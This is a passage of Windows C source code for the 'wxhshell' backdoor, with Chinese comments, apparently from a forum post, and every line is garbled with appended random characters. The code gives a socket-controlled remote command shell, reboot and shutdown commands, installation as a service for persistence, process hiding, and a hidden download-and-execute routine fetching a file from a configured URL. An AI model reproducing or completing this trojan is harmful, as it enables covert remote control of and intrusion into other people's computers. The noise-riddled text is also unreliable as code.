  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Ijs V5a  
  } R/Z7}QW  
  else { -j2y#aP  
Ml;` *;  
    switch(cmd[0]) { ?=^\kXc[  
  >qOj^WO~  
  // 帮助 w(z=xO  
  case '?': { (+cZP&o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ASrRMH[  
    break; qJf\,7mi  
  } h{H*k#>  
  // 安装 -'L~Y~'.  
  case 'i': { ,Vo[mB  
    if(Install()) H3`.Y$z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)dIt@Y&j  
    else ?E(X>tH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !f&hVLs0  
    break; `u7^r^>A  
    } RHpjJZUV  
  // 卸载 R*FDg;t4  
  case 'r': { C"mWO Y2]  
    if(Uninstall()) ]h&1|j1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:a=94  
    else >dJ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $+ N~Fa  
    break; `W" ;4A  
    } O9o]4;  
  // 显示 wxhshell 所在路径 h^qZi@L  
  case 'p': { F u^j- Io  
    char svExeFile[MAX_PATH]; f [.'V1  
    strcpy(svExeFile,"\n\r"); rlawH}1b  
      strcat(svExeFile,ExeFile); ~Hv>^u Mh  
        send(wsh,svExeFile,strlen(svExeFile),0); J .TK<!  
    break; (i1x<  
    } WHOX<YJs  
  // 重启 Iz-mUD0;  
  case 'b': { Q<g>WNb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /Hq  
    if(Boot(REBOOT)) '1xhP}'3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7fO<=ei:  
    else { I"x~ 7  
    closesocket(wsh); A>e-eD xi  
    ExitThread(0); ,6pGKCUU:y  
    } [^bq?w  
    break; JR xY#k  
    } VCiq'LOR,<  
  // 关机 @D=%J!!*  
  case 'd': { <1Sj_HCT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /988K-5k  
    if(Boot(SHUTDOWN)) '6e4rn{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ycq )$7p  
    else { 98O]tL+k/u  
    closesocket(wsh); GCiG50Z=  
    ExitThread(0); U6*[}Ww  
    } ' (XB|5  
    break; *]h"J]  
    } <|?)^;R5!  
  // 获取shell ]W4{|%@H"  
  case 's': { _x3=i\O,  
    CmdShell(wsh); bJ1Nf|3~E  
    closesocket(wsh); TXXG0 G  
    ExitThread(0); u0,QsD)_X0  
    break; /{jt]8/;7  
  } yzT1Zg_ER  
  // 退出 Fj2z$   
  case 'x': { Yb_HvP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -$:*!55:j  
    CloseIt(wsh);  ;Ss!OFK  
    break; /\uopa  
    } 'UxI-L t  
  // 离开 m&D I2he  
  case 'q': { @9n|5.i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w0Ex}  
    closesocket(wsh); 0'.z|Jg=  
    WSACleanup(); jF j'6LT9/  
    exit(1); /]j{P4  
    break; X am8h  
        } `H>&d K|/  
  } p8@8b "  
  } 0vX6n6G}  
-u<F>C  
  // 提示信息 r79 P|)\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S9 $t9o  
} i>[xN[U(  
  } M*D_p n&  
Tp{ jR<  
  return; 1#7|au%:)  
} o<Mcc j  
K@xMPB8in  
// shell模块句柄 ~TXu20c  
int CmdShell(SOCKET sock) X=Ar"Dx}}s  
{ UBM#~~sM  
STARTUPINFO si; u0sN[<  
ZeroMemory(&si,sizeof(si)); $gz8! f?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DEhR\Z!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ta/zDc"e  
PROCESS_INFORMATION ProcessInfo; 2|i1}  
char cmdline[]="cmd"; aG~zMO_)]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kONn7Itbu  
  return 0; qC"`i}7  
} 6^V( C;5!  
=uNc\a(  
// 自身启动模式 %mU$]^Tw(  
int StartFromService(void) 1@ &J"*  
{ dmv0hof  
typedef struct &08dW9H  
{ Lb<IEy77\  
  DWORD ExitStatus; x|Pz24yP9  
  DWORD PebBaseAddress; IemhHf ^l  
  DWORD AffinityMask;  4q7H  
  DWORD BasePriority; C;/ONF   
  ULONG UniqueProcessId; .|g@#XIwe#  
  ULONG InheritedFromUniqueProcessId; Mt`LOdiC_  
}   PROCESS_BASIC_INFORMATION; eN </H.bm]  
"eOl(TSu/  
PROCNTQSIP NtQueryInformationProcess; ^E\n^D-RV  
}vOg9/[{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N%Y!{k5T7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !\d~9H%`B  
zjcSn7iu  
  HANDLE             hProcess; f{O-\  
  PROCESS_BASIC_INFORMATION pbi; KehM.c^  
zDtC]y'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >R6mI  
  if(NULL == hInst ) return 0; zA+0jhuG  
O;V^Fk(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k:j_:C&.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MaD|X_g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 66 R=  
mbX'*up  
  if (!NtQueryInformationProcess) return 0; iRkUL]H@&  
n{L^W5B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v@SHR0  
  if(!hProcess) return 0; .bP8Z =  
bx{njo1Mr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _K{- 1ZYsi  
v?6*n >R  
  CloseHandle(hProcess); KaOXqFT=  
}Rh%bf7,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'U ZzH$h  
if(hProcess==NULL) return 0; vL[IVBG^  
R2{]R&wtn0  
HMODULE hMod; Uf7ACv)Dn  
char procName[255]; "fhQ{b$i  
unsigned long cbNeeded; YIZu{  
<A|z   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6LCR ;~ ]  
<8? F\x@  
  CloseHandle(hProcess); &nVekE:!  
D4y!l~_,%M  
if(strstr(procName,"services")) return 1; // 以服务启动 +HWFoK  
FNOsw\Bo  
  return 0; // 注册表启动 5bXpj86mY  
} P2`F" Qsq  
(;05=DsO  
// 主模块 WoB'B|%  
int StartWxhshell(LPSTR lpCmdLine) H<q|je}e  
{ I9aiAD0s  
  SOCKET wsl; !t~tIJ>6  
BOOL val=TRUE; L aA<`  
  int port=0; kb"Fw:0  
  struct sockaddr_in door; q27q/q8  
`EvO^L   
  if(wscfg.ws_autoins) Install(); LD NdHG6  
eAI|zk6  
port=atoi(lpCmdLine); N TDmOS\,  
_yH">x<  
if(port<=0) port=wscfg.ws_port; 3kUb cm  
'WmjQsf  
  WSADATA data; NKB["+S<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l qh:c  
B=^M& {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n{~&^Nby*I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {jR3D!hK  
  door.sin_family = AF_INET; j r .{M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d_&pxy? >  
  door.sin_port = htons(port); Eul3 {+]  
s 72yu}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &FOq c  
closesocket(wsl); /y4A?*w6  
return 1; "SQyy  
} NJd4( P  
VyYrL]OrA  
  if(listen(wsl,2) == INVALID_SOCKET) { $6 Hf[(/e  
closesocket(wsl); t.RDS2N|  
return 1; c2 :,  
} XVfUr\=,T  
  Wxhshell(wsl); lH/" 47  
  WSACleanup(); [N%InsA9k  
Ez-AQ'  
return 0; ;g+fY 6  
'-I\G6w9  
} tBZ?UAe;  
lFIaC}  
// 以NT服务方式启动 =HIKn6C<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K%/\XnCY  
{ gN(kRhp  
DWORD   status = 0; F g):>];<9  
  DWORD   specificError = 0xfffffff; N.]~%)K:{  
Yc~lYz+b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z(O*DwY#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x30|0EHYl[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A0;{$/  
  serviceStatus.dwWin32ExitCode     = 0; fU%Ys9:wU  
  serviceStatus.dwServiceSpecificExitCode = 0; };"_Ku4#-  
  serviceStatus.dwCheckPoint       = 0; QZ7W:%r(4  
  serviceStatus.dwWaitHint       = 0; Xa ;wx3]t  
"7Kw]8mRR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &"T7KXx  
  if (hServiceStatusHandle==0) return; IIXA)b!  
VJW8%s[  
status = GetLastError(); @V1FBw9S!@  
  if (status!=NO_ERROR) Ygg(qB1q  
{ QKvaTy#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uX{g4#eG  
    serviceStatus.dwCheckPoint       = 0; TPkP5w  
    serviceStatus.dwWaitHint       = 0; A~k: m0MX  
    serviceStatus.dwWin32ExitCode     = status; 7TypzgXNe  
    serviceStatus.dwServiceSpecificExitCode = specificError;  vmfFR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '|v<^EH  
    return; zT/woiyB`  
  } =c#mR" 1  
|t3}>+"?z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g}hNsU=$5~  
  serviceStatus.dwCheckPoint       = 0; +gBD E :  
  serviceStatus.dwWaitHint       = 0; u| "YS-dH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `O.pT{Lf  
} .),9a,  
'zMmJl}\vd  
// 处理NT服务事件,比如:启动、停止 F/tRyq`D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <j#IR  
{ CV{ZoY  
switch(fdwControl) :U'n0\  
{ VB8eGMo  
case SERVICE_CONTROL_STOP: j1K~zG  
  serviceStatus.dwWin32ExitCode = 0; GuL0:,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]0%{ IgB  
  serviceStatus.dwCheckPoint   = 0; 3&c'3y:b  
  serviceStatus.dwWaitHint     = 0; ^:f)XZ  
  { }> C?Zx*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t)k;5B`> &  
  } egfd=z=2un  
  return; 4 PU@W o  
case SERVICE_CONTROL_PAUSE: D0S^Msk9L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~WV1t][  
  break; k@n L(2  
case SERVICE_CONTROL_CONTINUE: "OkZ [E)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ix?Z:pIS0  
  break; rXTdhw?+  
case SERVICE_CONTROL_INTERROGATE: "av/a   
  break; e9S*^2;  
}; \fUVWXv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"*PBJuOA  
} ga;t`5+d  
F60m]NUM)c  
// 标准应用程序主函数 KlBT9"6"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l#+@!2z  
{ |r+hj<K  
i \lr KA  
// 获取操作系统版本 7VkjnG^!:  
OsIsNt=GetOsVer(); 6BQq|:U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YCzH@94QeV  
?h#F& y  
  // 从命令行安装 PqyR,Bcx0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y1qbu~!  
`r\/5|M  
  // 下载执行文件 +8|Xj!!*}  
if(wscfg.ws_downexe) { !l .^]|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ln\Gv/)  
  WinExec(wscfg.ws_filenam,SW_HIDE); i#4E*B_-  
} 2#UVpgX?  
q_>=| b  
if(!OsIsNt) { %t:13eM  
// 如果时win9x,隐藏进程并且设置为注册表启动 %,Y^Tp  
HideProc(); R \y qM;2  
StartWxhshell(lpCmdLine); S!JLy&@  
} B&*`A&^y  
else Yc5) ^v  
  if(StartFromService()) EF 8rh  
  // 以服务方式启动 w5Ucj*A\  
  StartServiceCtrlDispatcher(DispatchTable); j \ #y  
else w/(2fU(  
  // 普通方式启动 nAj +HLO  
  StartWxhshell(lpCmdLine); y{tM|  
&oK&vgcj  
return 0; jcxeXp|00  
}
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只看该作者 1 发表于: 2006-10-10
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